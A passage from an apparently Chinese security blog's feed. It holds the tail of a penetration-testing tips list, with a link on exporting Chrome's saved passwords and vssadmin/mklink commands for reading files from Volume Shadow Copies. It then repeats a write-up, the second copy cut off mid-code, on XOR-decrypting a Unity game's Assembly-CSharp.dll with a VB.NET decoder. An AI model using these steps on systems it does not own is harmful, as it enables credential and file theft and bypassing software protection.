    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《渗透技巧——导出Chrome浏览器中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_120" class="h16"&gt;&lt;span class="span_for_h"&gt;2、离线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Master  Key，不需要获得用户明文密码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_121" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 65 通过ShadowCopy获得系统的历史文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查询当前系统有无快照：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vssadmin list shadows&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问历史快照中的文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_122" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 64&lt;/span&gt;&lt;/h3&gt;</summary>

  </entry>


  <entry>


    <title>Unity3d Assembly-CSharp decode</title>

    <link href="https://www.secbig.com/lofter/2018-02-20-unity3d-assembly-csharp-decode-1"  rel="alternate"></link>

    <updated>2018-02-20T10:38:09Z</updated>
    <id>lofter/2018-02-20-unity3d-assembly-csharp-decode-1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;没事看了个游戏，虽然我是ios的但是android 不分区，直接去下了一个gpk（还是头一回看见有gpk后缀文件。。孤陋寡闻了）和普通apk一样zip解压  &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2l2eXQxdEhhUHNxN3YzOWJoS2VCMjM3UytZNXB0SmtwVEhaQmUwb3Q1RFlBPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;继续解压application.apk&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hvM0RLYmYxenFGYXQzWEJSY3BJdVFCVUwrSE90ekdTTS9TTDV5L2hyTFJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;dex2jar&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;发现是unity3d的&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image next_md_line next_img_before next_only_img_before"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hrZkJUUkRxQjBLSzF4QjF6dThPTTA4Y3RjWXJiQmxzUyt6UnpUYi9OMWt3PT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before"&gt;直接去application\assets\bin\Data\Managed 下反编译Assembly-CSharp.dll&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;反编译软件报错，说不是正常的dos文件。通过查看Assembly-CSharp.dll的是文件头发现不是正常的文件头应该被加密过的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hQejhxajRvVS85cUsreVFnWlI0MkdVSEdmVkxOc0Vmb3VOYVorN1B5aW1BPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当时心里就表示毙了狗。不过很快就发现了应该只是对十六进制做了普通的字符串加密，并不是加壳等。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;随便找了个dll文件做对比&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接把文件拉到最下端。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2htSlcxSWhSdXpEM0Q0bG5lRHQwWTMvdkNRb1YwSW1CenB2RjdReW1KUnZnPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;发现应该被00填充的地方加密文件都被95 CC 8E 8F 90 9C B7 87&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这8个填充了，感觉有可能是异或文件操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接拉到最上端取8个字节（因为文件头应该是相似的），对字符串做异或操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2dYMTJhM3dNTmpFcm0wMkcvaE9SdjZRc0RjOUk0TnVxdnRmR25Pb0tmTzJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;异或后的结果应该是正常的文件头。猜测每隔8位异或95 CC 8E 8F 90 9C B7 87 应该就能成功恢复&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_vbnet  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;Imports&lt;/span&gt; &lt;span class="nn"&gt;System.IO&lt;/span&gt;
&lt;span class="k"&gt;Module&lt;/span&gt; &lt;span class="nn"&gt;Module1&lt;/span&gt;
    &lt;span class="k"&gt;Sub&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Try&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp-decode.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OpenOrCreate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Integer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HB7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H87&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;While&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Try&lt;/span&gt;
                    &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyindex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadByte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;Xor&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
                    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
                &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Else&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
                &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;While&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Sub&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Module&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2dqeEltVmsrYk4ydXJiblJDekdCNllNdjBPb3RMT3VCRFM4TldlVXIyUTJBPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>Unity3d Assembly-CSharp decode</title>

    <link href="https://www.secbig.com/2018-02-20-unity3d-assembly-csharp-decode-1"  rel="alternate"></link>

    <updated>2018-02-20T10:38:09Z</updated>
    <id>2018-02-20-unity3d-assembly-csharp-decode-1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;没事看了个游戏，虽然我是ios的但是android 不分区，直接去下了一个gpk（还是头一回看见有gpk后缀文件。。孤陋寡闻了）和普通apk一样zip解压  &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2l2eXQxdEhhUHNxN3YzOWJoS2VCMjM3UytZNXB0SmtwVEhaQmUwb3Q1RFlBPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;继续解压application.apk&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hvM0RLYmYxenFGYXQzWEJSY3BJdVFCVUwrSE90ekdTTS9TTDV5L2hyTFJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;dex2jar&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;发现是unity3d的&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image next_md_line next_img_before next_only_img_before"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hrZkJUUkRxQjBLSzF4QjF6dThPTTA4Y3RjWXJiQmxzUyt6UnpUYi9OMWt3PT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before"&gt;直接去application\assets\bin\Data\Managed 下反编译Assembly-CSharp.dll&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;反编译软件报错，说不是正常的dos文件。通过查看Assembly-CSharp.dll的是文件头发现不是正常的文件头应该被加密过的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hQejhxajRvVS85cUsreVFnWlI0MkdVSEdmVkxOc0Vmb3VOYVorN1B5aW1BPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当时心里就表示毙了狗。不过很快就发现了应该只是对十六进制做了普通的字符串加密，并不是加壳等。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;随便找了个dll文件做对比&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接把文件拉到最下端。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2htSlcxSWhSdXpEM0Q0bG5lRHQwWTMvdkNRb1YwSW1CenB2RjdReW1KUnZnPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;发现应该被00填充的地方加密文件都被95 CC 8E 8F 90 9C B7 87&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这8个填充了，感觉有可能是异或文件操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接拉到最上端取8个字节（因为文件头应该是相似的），对字符串做异或操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2dYMTJhM3dNTmpFcm0wMkcvaE9SdjZRc0RjOUk0TnVxdnRmR25Pb0tmTzJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;异或后的结果应该是正常的文件头。猜测每隔8位异或95 CC 8E 8F 90 9C B7 87 应该就能成功恢复&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_vbnet  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;Imports&lt;/span&gt; &lt;span class="nn"&gt;System.IO&lt;/span&gt;
&lt;span class="k"&gt;Module&lt;/span&gt; &lt;span class="nn"&gt;Module1&lt;/span&gt;
    &lt;span class="k"&gt;Sub&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Try&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp-decode.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OpenOrCreate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Integer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HB7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H87&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
